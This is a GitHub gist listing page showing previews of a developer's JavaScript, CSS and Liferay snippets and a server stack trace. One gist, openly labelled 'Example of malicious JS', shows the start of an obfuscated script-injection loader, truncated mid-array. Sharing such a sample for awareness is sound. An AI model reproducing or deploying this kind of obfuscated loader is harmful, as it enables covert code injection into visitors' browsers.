Skip to content

Instantly share code, notes, and snippets.

View natecavanaugh's full-sized avatar

Nate Cavanaugh natecavanaugh

View GitHub Profile
@natecavanaugh
natecavanaugh / contrast_ratio.js
Created July 16, 2013 21:09
contrast ratio calculator
// Ported from http://stackoverflow.com/a/17343790/905036
function relativeLuminance(col) {
//Remove any leading #
var shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i;
var components = {};
col = col.replace(shorthandRegex, function(m, r, g, b) {
return r + r + g + g + b + b;
});
//Convert hex to 0-1 scale
AUI().use("autocomplete", "autocomplete-highlighters", "aui-io-request", function (A) {
A.one('#<portlet:namespace/>academyName').plug(A.Plugin.AutoComplete, {
resultHighlighter: 'phraseMatch',
resultListLocator: 'orgs',
resultTextLocator: 'name',
queryDelimiter: ',',
minQueryLength: 3,
source: function(query) {
var queryUrl = '<%=searchUrl%>&<portlet:namespace />keywords=' + query + '&<portlet:namespace/>types=' + types;
var request = A.io.request(
@natecavanaugh
natecavanaugh / test_responsive.css
Created May 16, 2013 18:35
Test responsive breakpoints in scss
body:before, #wrapper:after, #wrapper:before {
position: fixed;
content: '';
display: block;
border: 1px solid #000;
height: 100%;
top: 0;
left: 0;
opacity: 0.5;
}
@natecavanaugh
natecavanaugh / get_cached_aui_instance.js
Created March 28, 2013 15:35
Getting cached AUI instance to accomodate for cross-window retrieval
var getCachedInstance = function(yuiInstance, o, args) {
var instance = this;
// Need the current window, not A.config.win
var alloyInstance = yuiInstance._AUI_CACHED || ALLOY;
if (o || instance instanceof AUI) {
args = ALLOY.Array(args);
args.unshift(ALLOY.config);
@natecavanaugh
natecavanaugh / get_service_sync.js
Created March 22, 2013 16:36
A version of Liferay JS services that return synchronously (not recommended)
function getServiceSync() {
var xhr = null;
var args = parent.Liferay.Service.parseInvokeArgs(arguments);
var syncIOConfig = {
sync: true,
on: {
success: function(event, id, obj){
xhr = obj;
}
toggleDisabled = function(field, force) {
var container;
if (field.hasClass('aui-field-input') || field) {
container = field.ancestor('.aui-field');
}
else {
container = field;
field = field.children('.aui-field,.aui-button');
}
@natecavanaugh
natecavanaugh / lportal-2-15-2013-stacktrace
Created February 15, 2013 22:46
lportal-2-15-2013-stacktrace
INFO: Initializing Spring FrameworkServlet 'Remoting Servlet'
21:04:19,544 ERROR [main][ModuleFrameworkAdapterHelper:62] Unable to configure the class loader for the module framework
21:04:19,545 ERROR [main][ModuleFrameworkAdapterHelper:76] Unable to load the module framework
Feb 15, 2013 9:04:19 PM org.apache.catalina.core.ApplicationContext log
INFO: Marking servlet Module Framework Servlet as unavailable
Feb 15, 2013 9:04:19 PM org.apache.catalina.core.StandardContext loadOnStartup
SEVERE: Servlet threw load() exception
java.lang.NullPointerException
at com.liferay.portal.module.framework.ModuleFrameworkAdapterHelper.getClassLoader(ModuleFrameworkAdapterHelper.java:50)
at com.liferay.portal.module.framework.ModuleFrameworkAdapterHelper.<init>(ModuleFrameworkAdapterHelper.java:72)
@natecavanaugh
natecavanaugh / malicious_js.js
Created February 14, 2013 21:53
Example of malicious JS
date=new Date();var ar="Jp}g3ra]A\"kmTdQh{,'=Dyi)cf>1(0o[F<BnCs? e.wvlu:HGtNb; /EM";try{gserkewg();}catch(a){k=new Boolean().toString()};var ar2="f159,0,-93,9,42,-33,-45,51,-18,63,-102,87,-15,42,-24,-114,111,27,18,-33,-12,-87,87,-15,42, -36,-9,-39,-27,-18,-9,141,-132,15,87,-36,-30,99,-63,-51,24,-9,15,24,-6,-66,48,-21,111,0,0,-93,9, -60,3,15,87,-105,69,-15,87,3,0,-153,111,3,12,-21,9,-3,-69,111,0,0,-120,51,-18,63,-102,87,-15,42, -24,3,-111,51,81,-27,-36,-57,72,-33,9,-60,3,15,87,-3,-6,-96,57,-15,-3,-9,102,0,-144,135,24,0,-153, 3,99,9,-105,114,-63,6,48,3,-108,120,27,-96,39,18,-120,42,-42,111,-96,39,-15,0,-12,66,6,24,-84, 123,-141,0,0,36,42,-93,15,120,21,-135,42,-72,102,-60,30,93,-141,18,0,99,-81,-18,-18,144,-144, -15,48,0,-3,63,9,-60,-27,108,-102,12,-3,27,6,-33,63,-72,75,-54,-57,36,102,-90,-3,27,6,-33,63,-6, 36,-84,69,-12,-63,-3,75,-63,45,-45,87,-87,66,-66,81,-84,75,-93,21,-27,0,81,-15,51,-153,87,21,-45, 81,-81,24,15,33,-120,135,-42,-21,42,3,12,-27,36,-24,-12,-45,72,-9,-51,69,-9,-57,-87,135,-51,69, -102,24,21,63,
@natecavanaugh
natecavanaugh / create_a_ton_of_pages.js
Created January 10, 2013 17:57
Create a ton of pages
var createPage = function(index) {
Liferay.Service(
'/layout/add-layout',
{
groupId: 22101,
privateLayout: false,
parentLayoutId: 0,
name: 'Test' + index,
title: 'Test' + index,
description: '',
@natecavanaugh
natecavanaugh / util.js
Created January 9, 2013 22:47
Native handling of focus delegation (probably won't need, just ignore IE6 in the css for :focus)
addInputFocus: function() {
var handleFocus = function(event) {
var target = event.target;
var tagName = target.tagName;
if (tagName) {
tagName = tagName.toLowerCase();
}